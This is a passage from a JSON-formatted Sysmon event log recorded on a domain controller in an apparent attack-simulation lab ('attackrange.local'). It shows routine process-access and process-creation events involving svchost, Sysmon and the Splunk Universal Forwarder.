accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.713\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4177-5F2D-0000-00107FD20800}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.713","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4177-5F2D-0000-00107FD20800}","TargetProcessId":"884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:39.854\r\nSourceProcessGUID: {90617006-4177-5F2D-0000-00107FD20800}\r\nSourceProcessId: 884\r\nSourceThreadId: 3360\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:39.854","SourceProcessGUID":"{90617006-4177-5F2D-0000-00107FD20800}","SourceProcessId":"884","SourceThreadId":"3360","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:40.404\r\nProcessGuid: {90617006-4178-5F2D-0000-001055D40800}\r\nProcessId: 1600\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:40.404","ProcessGuid":"{90617006-4178-5F2D-0000-001055D40800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program 